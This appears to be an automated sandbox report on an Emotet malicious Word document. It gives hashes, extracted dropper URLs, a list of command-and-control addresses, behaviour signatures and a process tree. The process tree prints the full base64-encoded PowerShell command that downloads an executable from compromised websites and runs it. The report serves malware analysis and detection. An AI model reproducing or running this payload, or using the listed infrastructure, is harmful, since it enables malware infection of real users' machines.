Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    18/08/2020, 11:45

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e1_59cbffde77be7b6492cfc14eb0e5cebab522ed3562e83e14d83cedbf5a90f8bc_2020-08-18__114421._doc.doc
  • Size 173KB
  • Sample200818-ymc5vy2zd2
  • SHA256 59cbffde77be7b6492cfc14eb0e5cebab522ed3562e83e14d83cedbf5a90f8bc
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://globaliaespacios.com/wp-includes/OXjBq028664/
  • exe.dropper

    http://lupusalimentos.com.br/assinatura/ooJNJihAvv/
  • exe.dropper

    https://maniot.com/TN3611948/
  • exe.dropper

    https://mickreevesmodels.co.uk/micks_chat/bzqL9/
  • exe.dropper

    http://markantes.com/jason/QuPn889/

Extracted

Family

  • emotet

C2

  • 45.173.88.33:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 190.163.31.26:80

  • 94.206.45.18:80

  • 68.183.170.114:8080

  • 219.92.13.25:80

  • 111.67.12.221:8080

  • 207.144.103.227:80

  • 73.116.193.136:80

  • 177.72.13.80:80

  • 70.32.84.74:8080

  • 77.55.211.77:8080

  • 172.104.169.32:8080

  • 51.159.23.217:443

  • 80.249.176.206:80

  • 192.241.146.84:8080

  • 190.115.18.139:8080

  • 190.190.148.27:8080

  • 104.131.41.185:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_59cbffde77be7b6492cfc14eb0e5cebab522ed3562e83e14d83cedbf5a90f8bc_2020-08-18__114421._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1060
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABHAHkAcAAwAHAAawA5AD0AKAAnAEcAbABfADEAJwArACcAMQBxAHUAJwApADsAJgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBpAHQAZQBtACcAKQAgACQARQBuAHYAOgB0AGUAbQBwAFwATwBmAEYASQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAHIAYABpAHQAWQBQAHIATwB0AG8AQwBPAGwAIgAgAD0AIAAoACcAdABsAHMAJwArACcAMQAyACcAKwAnACwAIAAnACsAJwB0ACcAKwAnAGwAJwArACcAcwAxADEALAAgAHQAbABzACcAKQA7ACQAQQA4AGkAbgBzADcAMQAgAD0AIAAoACcAWAA3ADAAJwArACcANgBfACcAKwAnAHEAeABiACcAKQA7ACQATwB0AHEANABkAGwAZQA9ACgAJwBDAHAAJwArACcANQB3AGIAOQB0ACcAKQA7ACQAVgB6AGkAZAA0AGgAZAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAUwB2AEUATwBmAGYAaQBjACcAKwAnAGUAMgAnACsAJwAwADEAOQAnACsAJwBTAHYAJwArACcARQAnACkAIAAgAC0AQwBSAEUAUABMAEEAQwBFACAAIAAnAFMAdgBFACcALABbAEMASABBAFIAXQA5ADIAKQArACQAQQA4AGkAbgBzADcAMQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVgA2AHIAaQBvADIAdQA9ACgAJwBPAHEAJwArACcAdwAnACsAJwA4ADcAbgA0ACcAKQA7ACQAUgA4AGoAMwB0AGgAdQA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAGwAaQBlAG4AVAA7ACQARwA3AGEAdABtAGIAcgA9ACgAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGcAbABvAGIAJwArACcAYQBsAGkAYQBlAHMAcABhAGMAaQBvACcAKwAnAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjACcAKwAnAGwAdQAnACsAJwBkACcAKwAnAGUAcwAvAE8AJwArACcAWABqAEIAcQAwADIAOAAnACsAJwA2ADYANAAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwBsAHUAcAB1AHMAYQBsACcAKwAnAGkAbQBlAG4AdAAnACsAJwBvAHMALgBjAG8AbQAnACsAJwAuAGIAcgAnACsAJwAvAGEAcwBzAGkAbgBhAHQAdQByAGEALwBvAG8ASgBOAEoAaQBoAEEAdgAnACsAJwB2AC8AKgBoAHQAJwArACcAdABwAHMAOgAnACsAJwAvAC8AJwArACcAbQBhAG4AaQAnACsAJwBvACcAKwAnAHQALgBjAG8AbQAvAFQATgAzADYAMQAnACsAJwAxADkANAA4ACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAvACcAKwAnAC8AbQBpACcAKwAnAGMAawAnACsAJwByAGUAZQB2AGUAcwBtAG8AZABlAGwAcwAuACcAKwAnAGMAbwAuAHUAawAnACsAJwAvAG0AaQBjAGsAcwBfAGMAaAAnACsAJwBhAHQALwBiACcAKwAnAHoAcQBMADkALwAqAGgAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AbQBhAHIAawBhAG4AdABlAHMALgBjAG8AbQAvAGoAYQBzAG8AbgAnACsAJwAvAFEAdQAnACsAJwBQAG4AOAA4ADkALwAnACkALgAiAHMAYABQAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgBnADcAMwBzAHYAZgA9ACgAJwBXADkAeABiADEAYwAnACsAJwA2ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFoAcwBxAHkAcwBhAGEAIABpAG4AIAAkAEcANwBhAHQAbQBiAHIAKQB7AHQAcgB5AHsAJABSADgAagAzAHQAaAB1AC4AIgBEAE8AdwBuAGAATABvAGEARABmAGAAaQBgAGwARQAiACgAJABaAHMAcQB5AHMAYQBhACwAIAAkAFYAegBpAGQANABoAGQAKQA7ACQATABkAGUAdwBnADUAbwA9ACgAJwBZACcAKwAnAGQAaQB5ADEAaQAnACsAJwA4ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABWAHoAaQBkADQAaABkACkALgAiAGwAYABlAE4ARwBUAGgAIgAgAC0AZwBlACAAMwA0ADkAMQA0ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFYAegBpAGQANABoAGQAKQA7ACQAVgBpADcAYwAyAGkAagA9ACgAJwBMACcAKwAnAG4AcgAnACsAJwBlAHQAeABzACcAKQA7AGIAcgBlAGEAawA7ACQAUgByADMAaQBnADYAdQA9ACgAJwBCADUAcAAnACsAJwBtACcAKwAnAHMAbAB4ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBwADgANgBfADcAegA9ACgAJwBXACcAKwAnADgAMQByACcAKwAnADkAegBwACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Users\Admin\AppData\Local\Temp\Office2019\X706_qxb.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\X706_qxb.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\SysWOW64\advapi32\lsmproxy.exe
        "C:\Windows\SysWOW64\advapi32\lsmproxy.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1604

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1060-5-0x000000000AFD0000-0x000000000AFD4000-memory.dmp
        Download

        memory/1060-6-0x000000000C050000-0x000000000C054000-memory.dmp
        Download

        memory/1060-2-0x0000000008BA0000-0x0000000008BA4000-memory.dmp
        Download

        memory/1604-22-0x00000000001F0000-0x00000000001FC000-memory.dmp
        Download

        memory/1668-10-0x0000000002480000-0x0000000002481000-memory.dmp
        Download

        memory/1668-15-0x000000001C3D0000-0x000000001C3D1000-memory.dmp
        Download

        memory/1668-14-0x000000001C340000-0x000000001C341000-memory.dmp
        Download

        memory/1668-13-0x0000000002370000-0x0000000002371000-memory.dmp
        Download

        memory/1668-12-0x00000000025C0000-0x00000000025C1000-memory.dmp
        Download

        memory/1668-11-0x000000001AB50000-0x000000001AB51000-memory.dmp
        Download

        memory/1668-9-0x000007FEF20F0000-0x000007FEF2ADC000-memory.dmp
        Download

        memory/1788-19-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1912-23-0x000007FEF2860000-0x000007FEF2ADA000-memory.dmp
        Download